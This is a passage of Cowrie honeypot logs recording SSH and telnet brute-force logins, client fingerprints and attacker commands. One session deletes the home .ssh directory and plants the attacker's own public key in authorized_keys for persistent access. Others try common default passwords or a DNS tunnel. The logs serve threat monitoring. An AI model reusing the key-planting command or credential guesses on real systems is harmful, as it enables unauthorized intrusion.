f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:01.824708Z","src_ip":"124.156.196.131","session":"afc39fa32475","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kserge","password":"123456","message":"login attempt [kserge/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:02.813642Z","src_ip":"124.156.196.131","session":"afc39fa32475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:04.055320Z","src_ip":"124.156.196.131","session":"afc39fa32475","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.252485513687134,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:05.157713Z","src_ip":"152.42.224.71","session":"045006098ecb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":55378,"dst_ip":"159.203.135.109","dst_port":22,"session":"9df193bbd36d","protocol":"ssh","message":"New connection: 43.163.95.54:55378 (159.203.135.109:22) [session: 9df193bbd36d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:22.093535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:22.098718Z","src_ip":"43.163.95.54","session":"9df193bbd36d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:22.344431Z","src_ip":"43.163.95.54","session":"9df193bbd36d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"M3gaP33!","message":"login attempt [steam/M3gaP33!] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:23.361525Z","src_ip":"43.163.95.54","session":"9df193bbd36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:23.922677Z","src_ip":"43.163.95.54","session":"9df193bbd36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:23.926499Z","src_ip":"43.163.95.54","session":"9df193bbd36d","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:23.932033Z","src_ip":"43.163.95.54","session":"9df193bbd36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.5","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:24.425538Z","src_ip":"43.163.95.54","session":"9df193bbd36d","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:24.849576Z","src_ip":"43.163.95.54","session":"9df193bbd36d","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:24.852536Z","src_ip":"43.163.95.54","session":"9df193bbd36d","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:25.103843Z","src_ip":"43.163.95.54","session":"9df193bbd36d","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:25.107414Z","src_ip":"43.163.95.54","session":"9df193bbd36d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":55392,"dst_ip":"159.203.135.109","dst_port":22,"session":"1addee82c9c2","protocol":"ssh","message":"New connection: 43.163.95.54:55392 (159.203.135.109:22) [session: 1addee82c9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:25.346282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:25.351885Z","src_ip":"43.163.95.54","session":"1addee82c9c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:25.597946Z","src_ip":"43.163.95.54","session":"1addee82c9c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":33438,"dst_ip":"10.17.0.5","dst_port":22,"session":"2764367f0994","protocol":"ssh","message":"New connection: 103.183.114.55:33438 (10.17.0.5:22) [session: 2764367f0994]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:26.391628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:26.400391Z","src_ip":"103.183.114.55","session":"2764367f0994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:26.614135Z","src_ip":"43.163.95.54","session":"1addee82c9c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:26.626824Z","src_ip":"103.183.114.55","session":"2764367f0994","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cvbhyjdf","message":"login attempt [root/cvbhyjdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:27.305669Z","src_ip":"103.183.114.55","session":"2764367f0994","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:27.862331Z","src_ip":"43.163.95.54","session":"1addee82c9c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":55396,"dst_ip":"159.203.135.109","dst_port":22,"session":"130dcea82de6","protocol":"ssh","message":"New connection: 43.163.95.54:55396 (159.203.135.109:22) [session: 130dcea82de6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:28.089300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:28.093421Z","src_ip":"43.163.95.54","session":"130dcea82de6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:28.331159Z","src_ip":"43.163.95.54","session":"130dcea82de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:28.534390Z","src_ip":"103.183.114.55","session":"2764367f0994","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:29.315774Z","src_ip":"43.163.95.54","session":"130dcea82de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:29.557257Z","src_ip":"43.163.95.54","session":"130dcea82de6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.5","message":"Connection lost after 7.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:29.563937Z","src_ip":"43.163.95.54","session":"9df193bbd36d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":21730,"dst_ip":"10.17.0.5","dst_port":22,"session":"183d1e2f1e8b","protocol":"ssh","message":"New connection: 87.251.64.176:21730 (10.17.0.5:22) [session: 183d1e2f1e8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:33.960001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:33.965265Z","src_ip":"87.251.64.176","session":"183d1e2f1e8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:34.062708Z","src_ip":"87.251.64.176","session":"183d1e2f1e8b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:34.353521Z","src_ip":"87.251.64.176","session":"183d1e2f1e8b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:34.452176Z","session":"183d1e2f1e8b","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:34.550702Z","src_ip":"87.251.64.176","session":"183d1e2f1e8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:34.649311Z","src_ip":"87.251.64.176","session":"183d1e2f1e8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.231.153.33","src_port":52111,"dst_ip":"10.17.0.5","dst_port":23,"session":"4caa66a7de02","protocol":"telnet","message":"New connection: 176.231.153.33:52111 (10.17.0.5:23) [session: 4caa66a7de02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:38.038729Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.114","src_port":48206,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d90d2405366","protocol":"ssh","message":"New connection: 103.27.238.114:48206 (10.17.0.5:22) [session: 6d90d2405366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:44.644700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:44.649017Z","src_ip":"103.27.238.114","session":"6d90d2405366","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:44.911476Z","src_ip":"103.27.238.114","session":"6d90d2405366","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"789654","message":"login attempt [root/789654] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:45.699581Z","src_ip":"103.27.238.114","session":"6d90d2405366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:46.965460Z","src_ip":"103.27.238.114","session":"6d90d2405366","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.1290397644043,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:17:49.830548Z","src_ip":"152.42.224.71","session":"5a8a17b6a74c","protocol":"telnet"}
